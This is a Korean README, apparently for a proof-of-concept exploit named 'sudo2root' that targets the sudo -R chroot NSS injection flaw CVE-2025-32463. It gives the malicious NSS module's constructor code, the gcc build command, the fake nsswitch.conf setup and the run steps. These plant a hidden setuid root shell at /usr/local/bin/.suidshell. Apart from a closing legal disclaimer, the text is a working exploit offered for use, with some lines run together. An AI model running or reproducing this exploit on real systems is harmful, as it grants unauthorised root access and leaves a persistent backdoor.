
Sudo Local Privilege Escalation CVE-2025-32463 (셸이 안정적이지 않아 새로운 루트 셸을 생성하기 어려운 경우에 가장 적합)
sudo -R NSS 주입을 통한 로컬 권한 상승이 PoC는 사용자 정의 NSS 모듈과 함께 sudo -R 옵션을 악용하여 Linux 시스템에서 로컬 권한 상승을 보여줍니다. 이는 chroot 환경에서 nsswitch.conf 및 NSS 공유 라이브러리의 안전하지 않은 처리에서 비롯된 취약점 CVE-2025-32463을 대상으로 합니다.
이 PoC인 sudo2root 는 constructor 속성을 활용하여 권한을 상승시키고 /usr/local/bin/.suidshell에 setuid 루트 셸을 배치하는 사용자 정의 NSS 모듈을 컴파일하여 원래 기술을 적용합니다.
sudo의 -R chroot 플래그에 대한 부적절한 입력 검증 및 안전하지 않은 사용.sudo 접근 권한이 있는 로컬 공격자가 루트로 임의 코드를 실행하여 컨테이너 및 사용자 격리를 깨뜨릴 수 있습니다.sudo -R은 루트 디렉터리를 변경하지만 권한을 삭제하지 않거나 환경을 정제하지 않습니다.nsswitch.conf 및 사용자 정의 libnss_* 공유 객체로 가짜 루트 파일 시스템을 생성합니다.sudo가 공격자가 제어하는 NSS 라이브러리를 로드하도록 속입니다.__attribute__((constructor))를 통해) 코드를 실행하고, setuid 루트 셸을 배치하며 권한을 상승시킵니다.sudo2root.c – 악성 NSS 모듈:
setreuid(0,0) 및 setregid(0,0)을 통해 루트 획득gcc로 컴파일Bash 익스플로잇 스크립트:
etc/nsswitch.conflibnss_/sudo2root1337.so.2 NSS 모듈sudo -R sudo2root sudo2root
Setuid 셸:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
익스플로잇이 완료되면 다음을 실행합니다:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Main exploit script
libnss_/sudo2root1337.so.2 # Malicious NSS module (compiled)
sudo2root/etc/nsswitch.conf # Custom nsswitch pointing to fake module
/usr/local/bin/.suidshell # Final setuid root shell
sudo -R 익스플로잇:sudo의 -R <dir> 플래그는 명령을 실행하기 전에 루트 디렉터리를 변경합니다.passwd: /libnss_<name>.so가 있는 사용자 정의 nsswitch.conf가 있으면 sudo는 권한을 삭제하기 전에 이를 로드합니다.공유 객체는 다음으로 컴파일됩니다:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
생성자는 main() 로직 이전에 실행됩니다.
다음으로 suid 셸을 생성 및 컴파일합니다:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
다음을 통해 권한 설정:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirus이 코드는 교육 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에서 이 코드를 무단으로 사용하는 것은 불법이며 비윤리적입니다. 보안 테스트를 수행하기 전에 항상 적절한 승인을 받으십시오.